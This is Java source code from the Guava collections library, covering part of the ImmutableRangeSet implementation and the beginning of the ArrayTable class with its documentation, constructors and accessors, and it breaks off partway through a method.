private static final ImmutableRangeSet<Comparable<?>> ALL =
new ImmutableRangeSet<>(ImmutableList.of(Range.<Comparable<?>>all()));
/**
* Returns a {@code Collector} that accumulates the input elements into a new {@code
* ImmutableRangeSet}. As in {@link Builder}, overlapping ranges are not permitted and adjacent
* ranges will be merged.
*
* @since 23.1
*/
public static <E extends Comparable<? super E>>
Collector<Range<E>, ?, ImmutableRangeSet<E>> toImmutableRangeSet() {
return CollectCollectors.toImmutableRangeSet();
}
/**
* Returns an empty immutable range set.
*
* <p><b>Performance note:</b> the instance returned is a singleton.
*/
@SuppressWarnings("unchecked")
public static <C extends Comparable> ImmutableRangeSet<C> of() {
return (ImmutableRangeSet<C>) EMPTY;
}
/**
* Returns an immutable range set containing the specified single range. If {@link Range#isEmpty()
* range.isEmpty()}, this is equivalent to {@link ImmutableRangeSet#of()}.
*/
public static <C extends Comparable> ImmutableRangeSet<C> of(Range<C> range) {
checkNotNull(range);
if (range.isEmpty()) {
return of();
} else if (range.equals(Range.all())) {
return all();
} else {
return new ImmutableRangeSet<>(ImmutableList.of(range));
}
}
/** Returns an immutable range set containing the single range {@link Range#all()}. */
@SuppressWarnings("unchecked")
static <C extends Comparable> ImmutableRangeSet<C> all() {
return (ImmutableRangeSet<C>) ALL;
}
/** Returns an immutable copy of the specified {@code RangeSet}. */
public static <C extends Comparable> ImmutableRangeSet<C> copyOf(RangeSet<C> rangeSet) {
checkNotNull(rangeSet);
if (rangeSet.isEmpty()) {
return of();
} else if (rangeSet.encloses(Range.<C>all())) {
return all();
}
if (rangeSet instanceof ImmutableRangeSet) {
ImmutableRangeSet<C> immutableRangeSet = (ImmutableRangeSet<C>) rangeSet;
if (!immutableRangeSet.isPartialView()) {
return immutableRangeSet;
}
}
return new ImmutableRangeSet<>(ImmutableList.copyOf(rangeSet.asRanges()));
}
/**
* Returns an {@code ImmutableRangeSet} containing each of the specified disjoint ranges.
* Overlapping ranges and empty ranges are forbidden, though adjacent ranges are permitted and
* will be merged.
*
* @throws IllegalArgumentException if any ranges overlap or are empty
* @since 21.0
*/
public static <C extends Comparable<?>> ImmutableRangeSet<C> copyOf(Iterable<Range<C>> ranges) {
return new ImmutableRangeSet.Builder<C>().addAll(ranges).build();
}
/**
* Returns an {@code ImmutableRangeSet} representing the union of the specified ranges.
*
* <p>This is the smallest {@code RangeSet} which encloses each of the specified ranges. Duplicate
* or connected ranges are permitted, and will be coalesced in the result.
*
* @since 21.0
*/
public static <C extends Comparable<?>> ImmutableRangeSet<C> unionOf(Iterable<Range<C>> ranges) {
return copyOf(TreeRangeSet.create(ranges));
}
ImmutableRangeSet(ImmutableList<Range<C>> ranges) {
this.ranges = ranges;
}
private ImmutableRangeSet(ImmutableList<Range<C>> ranges, ImmutableRangeSet<C> complement) {
this.ranges = ranges;
this.complement = complement;
}
private final transient ImmutableList<Range<C>> ranges;
@Override
public boolean intersects(Range<C> otherRange) {
int ceilingIndex =
SortedLists.binarySearch(
ranges,
Range::lowerBound,
otherRange.lowerBound,
Ordering.natural(),
ANY_PRESENT,
NEXT_HIGHER);
if (ceilingIndex < ranges.size()
&& ranges.get(ceilingIndex).isConnected(otherRange)
&& !ranges.get(ceilingIndex).intersection(otherRange).isEmpty()) {
return true;
}
return ceilingIndex > 0
&& ranges.get(ceilingIndex - 1).isConnected(otherRange)
&& !ranges.get(ceilingIndex - 1).intersection(otherRange).isEmpty();
}
@Override
public boolean encloses(Range<C> otherRange) {
int index =
SortedLists.binarySearch(
ranges,
Range::lowerBound,
otherRange.lowerBound,
Ordering.natural(),
ANY_PRESENT,
NEXT_LOWER);
return index != -1 && ranges.get(index).encloses(otherRange);
}
@Override
@CheckForNull
public Range<C> rangeContaining(C value) {
int index =
SortedLists.binarySearch(
ranges,
Range::lowerBound,
Cut.belowValue(value),
Ordering.natural(),
ANY_PRESENT,
NEXT_LOWER);
if (index != -1) {
Range<C> range = ranges.get(index);
return range.contains(value) ? range : null;
}
return null;
}
@Override
public Range<C> span() {
if (ranges.isEmpty()) {
throw new NoSuchElementException();
}
return Range.create(ranges.get(0).lowerBound, ranges.get(ranges.size() - 1).upperBound);
}
@Override
public boolean isEmpty() {
return ranges.isEmpty();
}
/**
* Guaranteed to throw an exception and leave the {@code RangeSet} unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public void add(Range<C> range) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the {@code RangeSet} unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public void addAll(RangeSet<C> other) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the {@code RangeSet} unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public void addAll(Iterable<Range<C>> other) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the {@code RangeSet} unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public void remove(Range<C> range) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the {@code RangeSet} unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public void removeAll(RangeSet<C> other) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the {@code RangeSet} unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public void removeAll(Iterable<Range<C>> other) {
throw new UnsupportedOperationException();
}
@Override
public ImmutableSet<Range<C>> asRanges() {
if (ranges.isEmpty()) {
return ImmutableSet.of();
}
return new RegularImmutableSortedSet<>(ranges, Range.<C>rangeLexOrdering());
}
@Override
public ImmutableSet<Range<C>> asDescendingSetOfRanges() {
if (ranges.isEmpty()) {
return ImmutableSet.of();
}
return new RegularImmutableSortedSet<>(ranges.reverse(), Range.<C>rangeLexOrdering().reverse());
}
@LazyInit @CheckForNull private transient ImmutableRangeSet<C> complement;
private final class ComplementRanges extends ImmutableList<Range<C>> {
// True if the "positive" range set is empty or bounded below.
private final boolean positiveBoundedBelow;
// True if the "positive" range set is empty or bounded above.
private final boolean positiveBoundedAbove;
private final int size;
ComplementRanges() {
this.positiveBoundedBelow = ranges.get(0).hasLowerBound();
this.positiveBoundedAbove = Iterables.getLast(ranges).hasUpperBound();
int size = ranges.size() - 1;
if (positiveBoundedBelow) {
size++;
}
if (positiveBoundedAbove) {
size++;
}
this.size = size;
}
@Override
public int size() {
return size;
}
@Override
public Range<C> get(int index) {
checkElementIndex(index, size);
Cut<C> lowerBound;
if (positiveBoundedBelow) {
lowerBound = (index == 0) ? Cut.<C>belowAll() : ranges.get(index - 1).upperBound;
} else {
lowerBound = ranges.get(index).upperBound;
}
Cut<C> upperBound;
if (positiveBoundedAbove && index == size - 1) {
upperBound = Cut.<C>aboveAll();
} else {
upperBound = ranges.get(index + (positiveBoundedBelow ? 0 : 1)).lowerBound;
}
return Range.create(lowerBound, upperBound);
}
@Override
boolean isPartialView() {
return true;
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
}
@Override
public ImmutableRangeSet<C> complement() {
ImmutableRangeSet<C> result = complement;
if (result != null) {
return result;
} else if (ranges.isEmpty()) {
return complement = all();
} else if (ranges.size() == 1 && ranges.get(0).equals(Range.all())) {
return complement = of();
} else {
ImmutableList<Range<C>> complementRanges = new ComplementRanges();
result = complement = new ImmutableRangeSet<>(complementRanges, this);
}
return result;
}
/**
* Returns a new range set consisting of the union of this range set and {@code other}.
*
* <p>This is essentially the same as {@code TreeRangeSet.create(this).addAll(other)} except it
* returns an {@code ImmutableRangeSet}.
*
* @since 21.0
*/
public ImmutableRangeSet<C> union(RangeSet<C> other) {
return unionOf(Iterables.concat(asRanges(), other.asRanges()));
}
/**
* Returns a new range set consisting of the intersection of this range set and {@code other}.
*
* <p>This is essentially the same as {@code
* TreeRangeSet.create(this).removeAll(other.complement())} except it returns an {@code
* ImmutableRangeSet}.
*
* @since 21.0
*/
public ImmutableRangeSet<C> intersection(RangeSet<C> other) {
RangeSet<C> copy = TreeRangeSet.create(this);
copy.removeAll(other.complement());
return copyOf(copy);
}
/**
* Returns a new range set consisting of the difference of this range set and {@code other}.
*
* <p>This is essentially the same as {@code TreeRangeSet.create(this).removeAll(other)} except it
* returns an {@code ImmutableRangeSet}.
*
* @since 21.0
*/
public ImmutableRangeSet<C> difference(RangeSet<C> other) {
RangeSet<C> copy = TreeRangeSet.create(this);
copy.removeAll(other);
return copyOf(copy);
}
/**
* Returns a list containing the nonempty intersections of {@code range} with the ranges in this
* range set.
*/
private ImmutableList<Range<C>> intersectRanges(final Range<C> range) {
if (ranges.isEmpty() || range.isEmpty()) {
return ImmutableList.of();
} else if (range.encloses(span())) {
return ranges;
}
final int fromIndex;
if (range.hasLowerBound()) {
fromIndex =
SortedLists.binarySearch(
ranges,
Range::upperBound,
range.lowerBound,
KeyPresentBehavior.FIRST_AFTER,
KeyAbsentBehavior.NEXT_HIGHER);
} else {
fromIndex = 0;
}
int toIndex;
if (range.hasUpperBound()) {
toIndex =
SortedLists.binarySearch(
ranges,
Range::lowerBound,
range.upperBound,
KeyPresentBehavior.FIRST_PRESENT,
KeyAbsentBehavior.NEXT_HIGHER);
} else {
toIndex = ranges.size();
}
final int length = toIndex - fromIndex;
if (length == 0) {
return ImmutableList.of();
} else {
return new ImmutableList<Range<C>>() {
@Override
public int size() {
return length;
}
@Override
public Range<C> get(int index) {
checkElementIndex(index, length);
if (index == 0 || index == length - 1) {
return ranges.get(index + fromIndex).intersection(range);
} else {
return ranges.get(index + fromIndex);
}
}
@Override
boolean isPartialView() {
return true;
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
@GwtIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
};
}
}
/** Returns a view of the intersection of this range set with the given range. */
@Override
public ImmutableRangeSet<C> subRangeSet(Range<C> range) {
if (!isEmpty()) {
Range<C> span = span();
if (range.encloses(span)) {
return this;
} else if (range.isConnected(span)) {
return new ImmutableRangeSet<>(intersectRanges(range));
}
}
return of();
}
/**
* Returns an {@link ImmutableSortedSet} containing the same values in the given domain
* {@linkplain RangeSet#contains contained} by this range set.
*
* <p><b>Note:</b> {@code a.asSet(d).equals(b.asSet(d))} does not imply {@code a.equals(b)}! For
* example, {@code a} and {@code b} could be {@code [2..4]} and {@code (1..5)}, or the empty
* ranges {@code [3..3)} and {@code [4..4)}.
*
* <p><b>Warning:</b> Be extremely careful what you do with the {@code asSet} view of a large
* range set (such as {@code ImmutableRangeSet.of(Range.greaterThan(0))}). Certain operations on
* such a set can be performed efficiently, but others (such as {@link Set#hashCode} or {@link
* Collections#frequency}) can cause major performance problems.
*
* <p>The returned set's {@link Object#toString} method returns a shorthand form of the set's
* contents, such as {@code "[1..100]}"}.
*
* @throws IllegalArgumentException if neither this range nor the domain has a lower bound, or if
* neither has an upper bound
*/
public ImmutableSortedSet<C> asSet(DiscreteDomain<C> domain) {
checkNotNull(domain);
if (isEmpty()) {
return ImmutableSortedSet.of();
}
Range<C> span = span().canonical(domain);
if (!span.hasLowerBound()) {
// according to the spec of canonical, neither this ImmutableRangeSet nor
// the range have a lower bound
throw new IllegalArgumentException(
"Neither the DiscreteDomain nor this range set are bounded below");
} else if (!span.hasUpperBound()) {
try {
domain.maxValue();
} catch (NoSuchElementException e) {
throw new IllegalArgumentException(
"Neither the DiscreteDomain nor this range set are bounded above");
}
}
return new AsSet(domain);
}
private final class AsSet extends ImmutableSortedSet<C> {
private final DiscreteDomain<C> domain;
AsSet(DiscreteDomain<C> domain) {
super(Ordering.natural());
this.domain = domain;
}
@LazyInit @CheckForNull private transient Integer size;
@Override
public int size() {
// racy single-check idiom
Integer result = size;
if (result == null) {
long total = 0;
for (Range<C> range : ranges) {
total += ContiguousSet.create(range, domain).size();
if (total >= Integer.MAX_VALUE) {
break;
}
}
result = size = Ints.saturatedCast(total);
}
return result.intValue();
}
@Override
public UnmodifiableIterator<C> iterator() {
return new AbstractIterator<C>() {
final Iterator<Range<C>> rangeItr = ranges.iterator();
Iterator<C> elemItr = Iterators.emptyIterator();
@Override
@CheckForNull
protected C computeNext() {
while (!elemItr.hasNext()) {
if (rangeItr.hasNext()) {
elemItr = ContiguousSet.create(rangeItr.next(), domain).iterator();
} else {
return endOfData();
}
}
return elemItr.next();
}
};
}
@Override
@GwtIncompatible("NavigableSet")
public UnmodifiableIterator<C> descendingIterator() {
return new AbstractIterator<C>() {
final Iterator<Range<C>> rangeItr = ranges.reverse().iterator();
Iterator<C> elemItr = Iterators.emptyIterator();
@Override
@CheckForNull
protected C computeNext() {
while (!elemItr.hasNext()) {
if (rangeItr.hasNext()) {
elemItr = ContiguousSet.create(rangeItr.next(), domain).descendingIterator();
} else {
return endOfData();
}
}
return elemItr.next();
}
};
}
ImmutableSortedSet<C> subSet(Range<C> range) {
return subRangeSet(range).asSet(domain);
}
@Override
ImmutableSortedSet<C> headSetImpl(C toElement, boolean inclusive) {
return subSet(Range.upTo(toElement, BoundType.forBoolean(inclusive)));
}
@Override
ImmutableSortedSet<C> subSetImpl(
C fromElement, boolean fromInclusive, C toElement, boolean toInclusive) {
if (!fromInclusive && !toInclusive && Range.compareOrThrow(fromElement, toElement) == 0) {
return ImmutableSortedSet.of();
}
return subSet(
Range.range(
fromElement, BoundType.forBoolean(fromInclusive),
toElement, BoundType.forBoolean(toInclusive)));
}
@Override
ImmutableSortedSet<C> tailSetImpl(C fromElement, boolean inclusive) {
return subSet(Range.downTo(fromElement, BoundType.forBoolean(inclusive)));
}
@Override
public boolean contains(@CheckForNull Object o) {
if (o == null) {
return false;
}
try {
@SuppressWarnings("unchecked") // we catch CCE's
C c = (C) o;
return ImmutableRangeSet.this.contains(c);
} catch (ClassCastException e) {
return false;
}
}
@Override
int indexOf(@CheckForNull Object target) {
if (contains(target)) {
@SuppressWarnings("unchecked") // if it's contained, it's definitely a C
C c = (C) requireNonNull(target);
long total = 0;
for (Range<C> range : ranges) {
if (range.contains(c)) {
return Ints.saturatedCast(total + ContiguousSet.create(range, domain).indexOf(c));
} else {
total += ContiguousSet.create(range, domain).size();
}
}
throw new AssertionError("impossible");
}
return -1;
}
@Override
ImmutableSortedSet<C> createDescendingSet() {
return new DescendingImmutableSortedSet<>(this);
}
@Override
boolean isPartialView() {
return ranges.isPartialView();
}
@Override
public String toString() {
return ranges.toString();
}
@Override
@J2ktIncompatible // serialization
Object writeReplace() {
return new AsSetSerializedForm<C>(ranges, domain);
}
@J2ktIncompatible // java.io.ObjectInputStream
private void readObject(ObjectInputStream stream) throws InvalidObjectException {
throw new InvalidObjectException("Use SerializedForm");
}
}
private static class AsSetSerializedForm<C extends Comparable> implements Serializable {
private final ImmutableList<Range<C>> ranges;
private final DiscreteDomain<C> domain;
AsSetSerializedForm(ImmutableList<Range<C>> ranges, DiscreteDomain<C> domain) {
this.ranges = ranges;
this.domain = domain;
}
Object readResolve() {
return new ImmutableRangeSet<C>(ranges).asSet(domain);
}
}
/**
* Returns {@code true} if this immutable range set's implementation contains references to
* user-created objects that aren't accessible via this range set's methods. This is generally
* used to determine whether {@code copyOf} implementations should make an explicit copy to avoid
* memory leaks.
*/
boolean isPartialView() {
return ranges.isPartialView();
}
/** Returns a new builder for an immutable range set. */
public static <C extends Comparable<?>> Builder<C> builder() {
return new Builder<>();
}
/**
* A builder for immutable range sets.
*
* @since 14.0
*/
public static class Builder<C extends Comparable<?>> {
private final List<Range<C>> ranges;
public Builder() {
this.ranges = Lists.newArrayList();
}
// TODO(lowasser): consider adding union, in addition to add, that does allow overlap
/**
* Add the specified range to this builder. Adjacent ranges are permitted and will be merged,
* but overlapping ranges will cause an exception when {@link #build()} is called.
*
* @throws IllegalArgumentException if {@code range} is empty
*/
@CanIgnoreReturnValue
public Builder<C> add(Range<C> range) {
checkArgument(!range.isEmpty(), "range must not be empty, but was %s", range);
ranges.add(range);
return this;
}
/**
* Add all ranges from the specified range set to this builder. Adjacent ranges are permitted
* and will be merged, but overlapping ranges will cause an exception when {@link #build()} is
* called.
*/
@CanIgnoreReturnValue
public Builder<C> addAll(RangeSet<C> ranges) {
return addAll(ranges.asRanges());
}
/**
* Add all of the specified ranges to this builder. Adjacent ranges are permitted and will be
* merged, but overlapping ranges will cause an exception when {@link #build()} is called.
*
* @throws IllegalArgumentException if any inserted ranges are empty
* @since 21.0
*/
@CanIgnoreReturnValue
public Builder<C> addAll(Iterable<Range<C>> ranges) {
for (Range<C> range : ranges) {
add(range);
}
return this;
}
@CanIgnoreReturnValue
Builder<C> combine(Builder<C> builder) {
addAll(builder.ranges);
return this;
}
/**
* Returns an {@code ImmutableRangeSet} containing the ranges added to this builder.
*
* @throws IllegalArgumentException if any input ranges have nonempty overlap
*/
public ImmutableRangeSet<C> build() {
ImmutableList.Builder<Range<C>> mergedRangesBuilder =
new ImmutableList.Builder<>(ranges.size());
Collections.sort(ranges, Range.<C>rangeLexOrdering());
PeekingIterator<Range<C>> peekingItr = Iterators.peekingIterator(ranges.iterator());
while (peekingItr.hasNext()) {
Range<C> range = peekingItr.next();
while (peekingItr.hasNext()) {
Range<C> nextRange = peekingItr.peek();
if (range.isConnected(nextRange)) {
checkArgument(
range.intersection(nextRange).isEmpty(),
"Overlapping ranges not permitted but found %s overlapping %s",
range,
nextRange);
range = range.span(peekingItr.next());
} else {
break;
}
}
mergedRangesBuilder.add(range);
}
ImmutableList<Range<C>> mergedRanges = mergedRangesBuilder.build();
if (mergedRanges.isEmpty()) {
return of();
} else if (mergedRanges.size() == 1
&& Iterables.getOnlyElement(mergedRanges).equals(Range.all())) {
return all();
} else {
return new ImmutableRangeSet<>(mergedRanges);
}
}
}
private static final class SerializedForm<C extends Comparable> implements Serializable {
private final ImmutableList<Range<C>> ranges;
SerializedForm(ImmutableList<Range<C>> ranges) {
this.ranges = ranges;
}
Object readResolve() {
if (ranges.isEmpty()) {
return of();
} else if (ranges.equals(ImmutableList.of(Range.all()))) {
return all();
} else {
return new ImmutableRangeSet<C>(ranges);
}
}
}
@J2ktIncompatible // java.io.ObjectInputStream
Object writeReplace() {
return new SerializedForm<C>(ranges);
}
@J2ktIncompatible // java.io.ObjectInputStream
private void readObject(ObjectInputStream stream) throws InvalidObjectException {
throw new InvalidObjectException("Use SerializedForm");
}
}
| google/guava | guava/src/com/google/common/collect/ImmutableRangeSet.java |
1,375 | /*
* Copyright (C) 2009 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkElementIndex;
import static com.google.common.base.Preconditions.checkNotNull;
import static java.util.Collections.emptyMap;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.base.Objects;
import com.google.common.collect.Maps.IteratorBasedAbstractMap;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import com.google.errorprone.annotations.DoNotCall;
import com.google.errorprone.annotations.concurrent.LazyInit;
import com.google.j2objc.annotations.WeakOuter;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.util.Arrays;
import java.util.Collection;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* Fixed-size {@link Table} implementation backed by a two-dimensional array.
*
* <p><b>Warning:</b> {@code ArrayTable} is rarely the {@link Table} implementation you want. First,
* it requires that the complete universe of rows and columns be specified at construction time.
* Second, it is always backed by an array large enough to hold a value for every possible
* combination of row and column keys. (This is rarely optimal unless the table is extremely dense.)
* Finally, every possible combination of row and column keys is always considered to have a value
* associated with it: It is not possible to "remove" a value, only to replace it with {@code null},
* which will still appear when iterating over the table's contents in a foreach loop or a call to a
* null-hostile method like {@link ImmutableTable#copyOf}. For alternatives, please see <a
* href="https://github.com/google/guava/wiki/NewCollectionTypesExplained#table">the wiki</a>.
*
* <p>The allowed row and column keys must be supplied when the table is created. The table always
* contains a mapping for every row key / column pair. The value corresponding to a given row and
* column is null unless another value is provided.
*
* <p>The table's size is constant: the product of the number of supplied row keys and the number of
* supplied column keys. The {@code remove} and {@code clear} methods are not supported by the table
* or its views. The {@link #erase} and {@link #eraseAll} methods may be used instead.
*
* <p>The ordering of the row and column keys provided when the table is constructed determines the
* iteration ordering across rows and columns in the table's views. None of the view iterators
* support {@link Iterator#remove}. If the table is modified after an iterator is created, the
* iterator remains valid.
*
* <p>This class requires less memory than the {@link HashBasedTable} and {@link TreeBasedTable}
* implementations, except when the table is sparse.
*
* <p>Null row keys or column keys are not permitted.
*
* <p>This class provides methods involving the underlying array structure, where the array indices
* correspond to the position of a row or column in the lists of allowed keys and values. See the
* {@link #at}, {@link #set}, {@link #toArray}, {@link #rowKeyList}, and {@link #columnKeyList}
* methods for more details.
*
* <p>Note that this implementation is not synchronized. If multiple threads access the same cell of
* an {@code ArrayTable} concurrently and one of the threads modifies its value, there is no
* guarantee that the new value will be fully visible to the other threads. To guarantee that
* modifications are visible, synchronize access to the table. Unlike other {@code Table}
* implementations, synchronization is unnecessary between a thread that writes to one cell and a
* thread that reads from another.
*
* <p>See the Guava User Guide article on <a href=
* "https://github.com/google/guava/wiki/NewCollectionTypesExplained#table">{@code Table}</a>.
*
* @author Jared Levy
* @since 10.0
*/
@GwtCompatible(emulated = true)
@ElementTypesAreNonnullByDefault
public final class ArrayTable<R, C, V> extends AbstractTable<R, C, @Nullable V>
implements Serializable {
/**
* Creates an {@code ArrayTable} filled with {@code null}.
*
* @param rowKeys row keys that may be stored in the generated table
* @param columnKeys column keys that may be stored in the generated table
* @throws NullPointerException if any of the provided keys is null
* @throws IllegalArgumentException if {@code rowKeys} or {@code columnKeys} contains duplicates
* or if exactly one of {@code rowKeys} or {@code columnKeys} is empty.
*/
public static <R, C, V> ArrayTable<R, C, V> create(
Iterable<? extends R> rowKeys, Iterable<? extends C> columnKeys) {
return new ArrayTable<>(rowKeys, columnKeys);
}
/*
* TODO(jlevy): Add factory methods taking an Enum class, instead of an
* iterable, to specify the allowed row keys and/or column keys. Note that
* custom serialization logic is needed to support different enum sizes during
* serialization and deserialization.
*/
/**
* Creates an {@code ArrayTable} with the mappings in the provided table.
*
* <p>If {@code table} includes a mapping with row key {@code r} and a separate mapping with
* column key {@code c}, the returned table contains a mapping with row key {@code r} and column
* key {@code c}. If that row key / column key pair in not in {@code table}, the pair maps to
* {@code null} in the generated table.
*
* <p>The returned table allows subsequent {@code put} calls with the row keys in {@code
* table.rowKeySet()} and the column keys in {@code table.columnKeySet()}. Calling {@link #put}
* with other keys leads to an {@code IllegalArgumentException}.
*
* <p>The ordering of {@code table.rowKeySet()} and {@code table.columnKeySet()} determines the
* row and column iteration ordering of the returned table.
*
* @throws NullPointerException if {@code table} has a null key
*/
@SuppressWarnings("unchecked") // TODO(cpovirk): Make constructor accept wildcard types?
public static <R, C, V> ArrayTable<R, C, V> create(Table<R, C, ? extends @Nullable V> table) {
return (table instanceof ArrayTable)
? new ArrayTable<R, C, V>((ArrayTable<R, C, V>) table)
: new ArrayTable<R, C, V>(table);
}
private final ImmutableList<R> rowList;
private final ImmutableList<C> columnList;
// TODO(jlevy): Add getters returning rowKeyToIndex and columnKeyToIndex?
private final ImmutableMap<R, Integer> rowKeyToIndex;
private final ImmutableMap<C, Integer> columnKeyToIndex;
private final @Nullable V[][] array;
private ArrayTable(Iterable<? extends R> rowKeys, Iterable<? extends C> columnKeys) {
this.rowList = ImmutableList.copyOf(rowKeys);
this.columnList = ImmutableList.copyOf(columnKeys);
checkArgument(rowList.isEmpty() == columnList.isEmpty());
/*
* TODO(jlevy): Support only one of rowKey / columnKey being empty? If we
* do, when columnKeys is empty but rowKeys isn't, rowKeyList() can contain
* elements but rowKeySet() will be empty and containsRow() won't
* acknowledge them.
*/
rowKeyToIndex = Maps.indexMap(rowList);
columnKeyToIndex = Maps.indexMap(columnList);
@SuppressWarnings("unchecked")
@Nullable
V[][] tmpArray = (@Nullable V[][]) new Object[rowList.size()][columnList.size()];
array = tmpArray;
// Necessary because in GWT the arrays are initialized with "undefined" instead of null.
eraseAll();
}
private ArrayTable(Table<R, C, ? extends @Nullable V> table) {
this(table.rowKeySet(), table.columnKeySet());
putAll(table);
}
private ArrayTable(ArrayTable<R, C, V> table) {
rowList = table.rowList;
columnList = table.columnList;
rowKeyToIndex = table.rowKeyToIndex;
columnKeyToIndex = table.columnKeyToIndex;
@SuppressWarnings("unchecked")
@Nullable
V[][] copy = (@Nullable V[][]) new Object[rowList.size()][columnList.size()];
array = copy;
for (int i = 0; i < rowList.size(); i++) {
System.arraycopy(table.array[i], 0, copy[i], 0, table.array[i].length);
}
}
private abstract static class ArrayMap<K, V extends @Nullable Object>
extends IteratorBasedAbstractMap<K, V> {
private final ImmutableMap<K, Integer> keyIndex;
private ArrayMap(ImmutableMap<K, Integer> keyIndex) {
this.keyIndex = keyIndex;
}
@Override
public Set<K> keySet() {
return keyIndex.keySet();
}
K getKey(int index) {
return keyIndex.keySet().asList().get(index);
}
abstract String getKeyRole();
@ParametricNullness
abstract V getValue(int index);
@ParametricNullness
abstract V setValue(int index, @ParametricNullness V newValue);
@Override
public int size() {
return keyIndex.size();
}
@Override
public boolean isEmpty() {
return keyIndex.isEmpty();
}
Entry<K, V> getEntry(final int index) {
checkElementIndex(index, size());
return new AbstractMapEntry<K, V>() {
@Override
public K getKey() {
return ArrayMap.this.getKey(index);
}
@Override
@ParametricNullness
public V getValue() {
return ArrayMap.this.getValue(index);
}
@Override
@ParametricNullness
public V setValue(@ParametricNullness V value) {
return ArrayMap.this.setValue(index, value);
}
};
}
@Override
Iterator<Entry<K, V>> entryIterator() {
return new AbstractIndexedListIterator<Entry<K, V>>(size()) {
@Override
protected Entry<K, V> get(final int index) {
return getEntry(index);
}
};
}
// TODO(lowasser): consider an optimized values() implementation
@Override
public boolean containsKey(@CheckForNull Object key) {
return keyIndex.containsKey(key);
}
@CheckForNull
@Override
public V get(@CheckForNull Object key) {
Integer index = keyIndex.get(key);
if (index == null) {
return null;
} else {
return getValue(index);
}
}
@Override
@CheckForNull
public V put(K key, @ParametricNullness V value) {
Integer index = keyIndex.get(key);
if (index == null) {
throw new IllegalArgumentException(
getKeyRole() + " " + key + " not in " + keyIndex.keySet());
}
return setValue(index, value);
}
@Override
@CheckForNull
public V remove(@CheckForNull Object key) {
throw new UnsupportedOperationException();
}
@Override
public void clear() {
throw new UnsupportedOperationException();
}
}
/**
* Returns, as an immutable list, the row keys provided when the table was constructed, including
* those that are mapped to null values only.
*/
public ImmutableList<R> rowKeyList() {
return rowList;
}
/**
* Returns, as an immutable list, the column keys provided when the table was constructed,
* including those that are mapped to null values only.
*/
public ImmutableList<C> columnKeyList() {
return columnList;
}
/**
* Returns the value corresponding to the specified row and column indices. The same value is
* returned by {@code get(rowKeyList().get(rowIndex), columnKeyList().get(columnIndex))}, but this
* method runs more quickly.
*
* @param rowIndex position of the row key in {@link #rowKeyList()}
* @param columnIndex position of the row key in {@link #columnKeyList()}
* @return the value with the specified row and column
* @throws IndexOutOfBoundsException if either index is negative, {@code rowIndex} is greater than
* or equal to the number of allowed row keys, or {@code columnIndex} is greater than or equal
* to the number of allowed column keys
*/
@CheckForNull
public V at(int rowIndex, int columnIndex) {
// In GWT array access never throws IndexOutOfBoundsException.
checkElementIndex(rowIndex, rowList.size());
checkElementIndex(columnIndex, columnList.size());
return array[rowIndex][columnIndex];
}
/**
* Associates {@code value} with the specified row and column indices. The logic {@code
* put(rowKeyList().get(rowIndex), columnKeyList().get(columnIndex), value)} has the same
* behavior, but this method runs more quickly.
*
* @param rowIndex position of the row key in {@link #rowKeyList()}
* @param columnIndex position of the row key in {@link #columnKeyList()}
* @param value value to store in the table
* @return the previous value with the specified row and column
* @throws IndexOutOfBoundsException if either index is negative, {@code rowIndex} is greater than
* or equal to the number of allowed row keys, or {@code columnIndex} is greater than or equal
* to the number of allowed column keys
*/
@CanIgnoreReturnValue
@CheckForNull
public V set(int rowIndex, int columnIndex, @CheckForNull V value) {
// In GWT array access never throws IndexOutOfBoundsException.
checkElementIndex(rowIndex, rowList.size());
checkElementIndex(columnIndex, columnList.size());
V oldValue = array[rowIndex][columnIndex];
array[rowIndex][columnIndex] = value;
return oldValue;
}
/**
* Returns a two-dimensional array with the table contents. The row and column indices correspond
* to the positions of the row and column in the iterables provided during table construction. If
* the table lacks a mapping for a given row and column, the corresponding array element is null.
*
* <p>Subsequent table changes will not modify the array, and vice versa.
*
* @param valueClass class of values stored in the returned array
*/
@GwtIncompatible // reflection
public @Nullable V[][] toArray(Class<V> valueClass) {
@SuppressWarnings("unchecked") // TODO: safe?
@Nullable
V[][] copy = (@Nullable V[][]) Array.newInstance(valueClass, rowList.size(), columnList.size());
for (int i = 0; i < rowList.size(); i++) {
